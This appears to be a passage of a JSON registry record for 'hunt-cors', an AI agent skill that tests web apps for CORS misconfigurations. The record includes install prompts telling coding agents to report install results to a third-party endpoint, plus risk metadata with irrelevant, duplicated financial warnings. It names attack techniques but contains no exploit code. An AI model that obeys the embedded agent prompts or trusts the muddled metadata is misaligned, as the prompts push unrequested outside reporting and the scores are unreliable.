instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {\"event_id\":\"install_<unique-id>\",\"skill_slug\":\"elementalsouls-hunt-cors\",\"task\":\"Install hunt-cors\",\"agent\":\"codex\",\"outcome\":\"success\",\"install_used\":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes."},{"id":"claude-code","label":"Claude Code","kind":"agent-prompt","value":"Add \"hunt-cors\" as a Claude Code skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors. Inspect the skill instructions, place the reusable skill files in the appropriate local skills location for this project, and report the activation steps. Skill purpose: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {\"event_id\":\"install_<unique-id>\",\"skill_slug\":\"elementalsouls-hunt-cors\",\"task\":\"Install hunt-cors\",\"agent\":\"claude-code\",\"outcome\":\"success\",\"install_used\":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes."},{"id":"cursor","label":"Cursor","kind":"agent-prompt","value":"Turn \"hunt-cors\" from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors into a reusable Cursor project rule or agent instruction. Preserve the core workflow, adapt paths to this repo, and keep the rule scoped to tasks where it is relevant. Skill purpose: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {\"event_id\":\"install_<unique-id>\",\"skill_slug\":\"elementalsouls-hunt-cors\",\"task\":\"Install hunt-cors\",\"agent\":\"cursor\",\"outcome\":\"success\",\"install_used\":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes."}],"handoff_url":"https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install","manifest_url":"https://www.openagentskill.com/api/registry/manifest/elementalsouls-hunt-cors"},"trust":{"score":77,"label":"Strong shortlist","version":"trust-score-v4","install_policy":"human_review_before_install","evidence":{"stars":"4.1K GitHub stars","repoActivity":"4.1K stars, 634 forks","lastPushed":"6d since push","license":"MIT","repository":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors","install":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors","installSafety":"standard package or runtime install path","permissionSurface":"secrets or environment access, shell or command execution","documentation":"Strong README/SKILL.md context","agentOutcomes":"No agent outcome data yet"},"outcome_evidence":{"total":0,"successes":0,"failures":0,"not_relevant":0,"success_rate":null,"recent_success_rate":null,"recent_failure_rate":null,"install_attempts":0,"install_success_rate":null,"risk_blocked":0,"setup_required":0,"avg_output_quality":null,"production_outcomes":0,"last_outcome_at":null,"label":"No agent outcome data yet"},"auto_install":{"allowed":false,"sandbox_required":true,"reason":"Human review or sandbox validation is required before automatic installation."},"best_for":["data-analysis","agent-skill"],"known_risks":["Financial research output is not financial advice; require human review before any live investment decision.","Quality score needs review","Permission surface needs review: secrets or environment access, shell or command execution","Dependency/runtime risk: command execution surface, credential or environment access","Permission surface: secrets or environment access, shell or command execution"]},"agent_proven":{"version":"agent-proven-v1","score":0,"tier":"unproven","label":"Needs first agent run","summary":"No agent outcome reports yet. Use Resolve, run one narrow sandbox task, then report the result.","metrics":{"totalOutcomes":0,"successfulOutcomes":0,"failedOutcomes":0,"installAttempts":0,"installSuccessRate":null,"successRate":null,"recentSuccessRate":null,"recentFailureRate":null,"riskBlocked":0,"setupRequired":0,"notRelevant":0,"avgOutputQuality":null,"avgTimeToUsefulMs":null,"productionOutcomes":0,"humanReviewRequired":0,"uniqueAgents":0,"lastOutcomeAt":null},"signals":[],"penalties":["No real agent outcome evidence yet"]},"audit":{"score":83,"risk_level":"needs_review","risk_label":"Needs review","warnings":["Dependency or permission surface needs review","Permission surface may require sandboxing","Financial research output is not financial advice; require human review before any live investment decision","Financial research output is not financial advice; require human review before any live investment decision.","Quality score needs review","Permission surface needs review: secrets or environment access, shell or command execution","Dependency/runtime risk: command execution surface, credential or environment access","Permission surface: secrets or environment access, shell or command execution"]},"safety_gate":{"tier":"experimental","label":"Experimental","auto_install_policy":"review","auto_install_allowed":false,"human_review_required":true,"blocked":false,"recommended_action":"Test manually in an isolated workspace and compare against safer alternatives."},"quality":{"score":83,"label":"Strong"},"supply":{"track":"Coding and developer agents","scenario":"Testing and QA","maintenance":"6d since push","risk":"Needs review"},"alternative_skills":[],"do_not_use_when":["teams that need a vendor-supported SLA","high-compliance environments without internal security review","No major risk signals from current metadata","High-risk permission hints: Shell or command execution, Secrets or environment access","Dependency or permission surface needs review","Permission surface may require sandboxing","Financial research output is not financial advice; require human review before any live investment decision","Financial research output is not financial advice; require human review before any live investment decision."],"agent_contract":{"task_input":"Use hunt-cors in an agent workflow","recommended_action":"Test manually in an isolated workspace and compare against safer alternatives.","install_policy":"review","minimum_review_before_use":["Trust: 77/100 Strong shortlist","Audit: 83/100 Needs review","Safety: 39/100 Avoid automatic install","Review repository, license, install command, and permission surface before production use."],"expected_agent_output":{"selected_skill":"elementalsouls-hunt-cors (hunt-cors)","install_command":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors","risk_summary":"Needs review; Experimental; Review before production","verification_result":"Report the smallest successful task, files touched, warnings, and any missing setup."}},"outcome_feedback":{"endpoint":"https://www.openagentskill.com/api/agent/outcome","method":"POST","requires_resolve_event_id":true,"event_id_source":"Use install_receipt.outcome_feedback.event_id or feedback.event_id returned by /api/agent/resolve for the current task.","expected_outcomes":["success","failed","not_relevant","blocked_by_risk","setup_required"],"payload_template":{"event_id":"<install_receipt.outcome_feedback.event_id or feedback.event_id from /api/agent/resolve>","skill_slug":"elementalsouls-hunt-cors","task":"Use hunt-cors in an agent workflow","agent":"codex","outcome":"success","install_used":true,"risk_blocked":false,"setup_required":false,"task_success":true,"output_quality":4,"error_type":null,"human_review_required":false,"workspace":"sandbox","time_to_useful_ms":120000,"notes":"Report the smallest successful task, setup friction, files touched, and risk notes."}},"endpoints":{"web":"https://www.openagentskill.com/skills/elementalsouls-hunt-cors","api":"https://www.openagentskill.com/api/agent/skills/elementalsouls-hunt-cors","audit":"https://www.openagentskill.com/skills/elementalsouls-hunt-cors/audit","eval":"https://www.openagentskill.com/api/agent/evals?slug=elementalsouls-hunt-cors&task=Use%20hunt-cors%20in%20an%20agent%20workflow&max_risk=medium","resolve":"https://www.openagentskill.com/api/agent/resolve?task=Use%20hunt-cors%20in%20an%20agent%20workflow&agent=codex&max_risk=medium","receipt":"https://www.openagentskill.com/api/agent/receipt?task=Use%20hunt-cors%20in%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text","install":"https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install","manifest":"https://www.openagentskill.com/api/registry/manifest/elementalsouls-hunt-cors"}},"supply_profile":{"track":{"slug":"coding","label":"Coding and developer agents","shortLabel":"Coding","description":"Code review, repo analysis, testing, CI, GitHub, DevOps, and developer workflow skills."},"scenario":{"label":"Testing and QA","description":"I need my agent to test a web app, reproduce bugs, and verify fixes.","useCases":[{"slug":"browser-automation","title":"Browser automation"},{"slug":"testing-qa","title":"Testing and QA"},{"slug":"document-processing","title":"Document processing"}]},"applicableAgents":["Claude Code","Browser agents","CLI","Codex","Cursor"],"install":{"ready":true,"command":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors","primaryTarget":"CLI","targetCount":4},"githubQuality":{"stars":4082,"starsLabel":"4.1K","forks":634,"license":"MIT","qualityScore":83,"trustScore":77,"auditScore":83},"maintenance":{"status":"fresh","label":"6d since push","daysSincePush":6,"lastPushedAt":"2026-09-02T08:49:05+00:00"},"risk":{"level":"needs_review","label":"Needs review","requiresReview":true,"notes":["Dependency or permission surface needs review","Permission surface may require sandboxing","Financial research output is not financial advice; require human review before any live investment decision","Financial research output is not financial advice; require human review before any live investment decision.","Quality score needs review"]},"coverageTags":["Coding","Testing and QA","data-analysis","agent-skill"]},"audit":{"audit_score":83,"risk_level":"needs_review","risk_label":"Needs review","quality_score":83,"trust_score":77,"maintenance_score":100,"security_score":77,"install_score":92,"warnings":["Dependency or permission surface needs review","Permission surface may require sandboxing","Financial research output is not financial advice; require human review before any live investment decision","Financial research output is not financial advice; require human review before any live investment decision.","Quality score needs review","Permission surface needs review: secrets or environment access, shell or command execution","Dependency/runtime risk: command execution surface, credential or environment access","Permission surface: secrets or environment access, shell or command execution"]},"quality_signals":{"model":"v2","star_score":25.28,"usage_score":0,"review_score":5.4,"metadata_score":3,"freshness_score":15},"platforms":["Claude Code","Browser agents"],"use_cases":[{"slug":"browser-automation","title":"Browser automation","url":"https://www.openagentskill.com/use-cases/browser-automation"},{"slug":"testing-qa","title":"Testing and QA","url":"https://www.openagentskill.com/use-cases/testing-qa"},{"slug":"document-processing","title":"Document processing","url":"https://www.openagentskill.com/use-cases/document-processing"},{"slug":"github-automation","title":"GitHub automation","url":"https://www.openagentskill.com/use-cases/github-automation"}],"stacks":[{"slug":"browser-qa-agent","title":"Browser QA agent","url":"https://www.openagentskill.com/collections/browser-qa-agent"},{"slug":"research-report-agent","title":"Research report agent","url":"https://www.openagentskill.com/collections/research-report-agent"},{"slug":"content-growth-agent","title":"Content growth agent","url":"https://www.openagentskill.com/collections/content-growth-agent"}],"install":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors","install_targets":[{"id":"openagentskill-cli","label":"CLI","title":"OpenAgentSkill CLI","kind":"command","value":"npx --yes https://github.com/Leon-Drq/openagentskill/releases/download/cli-v0.3.0/openagentskill-0.3.0.tgz add elementalsouls-hunt-cors","description":"Resolve policy, run the source installer safely, and report a verified install receipt.","copyLabel":"Copy command"},{"id":"codex","label":"Codex","title":"Codex install prompt","kind":"agent-prompt","value":"Install the \"hunt-cors\" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {\"event_id\":\"install_<unique-id>\",\"skill_slug\":\"elementalsouls-hunt-cors\",\"task\":\"Install hunt-cors\",\"agent\":\"codex\",\"outcome\":\"success\",\"install_used\":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.","description":"Give Codex a repo-aware install prompt when the skill is not available through a local CLI.","copyLabel":"Copy prompt"},{"id":"claude-code","label":"Claude Code","title":"Claude Code skill prompt","kind":"agent-prompt","value":"Add \"hunt-cors\" as a Claude Code skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors. Inspect the skill instructions, place the reusable skill files in the appropriate local skills location for this project, and report the activation steps. Skill purpose: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {\"event_id\":\"install_<unique-id>\",\"skill_slug\":\"elementalsouls-hunt-cors\",\"task\":\"Install hunt-cors\",\"agent\":\"claude-code\",\"outcome\":\"success\",\"install_used\":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.","description":"Use this prompt to ask Claude Code to add the skill and explain the local activation steps.","copyLabel":"Copy prompt"},{"id":"cursor","label":"Cursor","title":"Cursor rule prompt","kind":"agent-prompt","value":"Turn \"hunt-cors\" from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors into a reusable Cursor project rule or agent instruction. Preserve the core workflow, adapt paths to this repo, and keep the rule scoped to tasks where it is relevant. Skill purpose: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {\"event_id\":\"install_<unique-id>\",\"skill_slug\":\"elementalsouls-hunt-cors\",\"task\":\"Install hunt-cors\",\"agent\":\"cursor\",\"outcome\":\"success\",\"install_used\":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.","description":"Use this when installing as Cursor project rules or reusable agent instructions.","copyLabel":"Copy prompt"}],"repository":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors","github_repo":"elementalsouls/Claude-BugHunter","version":"1.0.0","license":"MIT","urls":{"web":"https://www.openagentskill.com/skills/elementalsouls-hunt-cors","repository":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors","api":"/api/agent/skills/elementalsouls-hunt-cors","install_api":"/api/skills/elementalsouls-hunt-cors/install"},"meta":{"created_at":"2026-09-02T14:40:18.904654+00:00","updated_at":"2026-09-02T14:40:19.678562+00:00","agent_friendly":true}}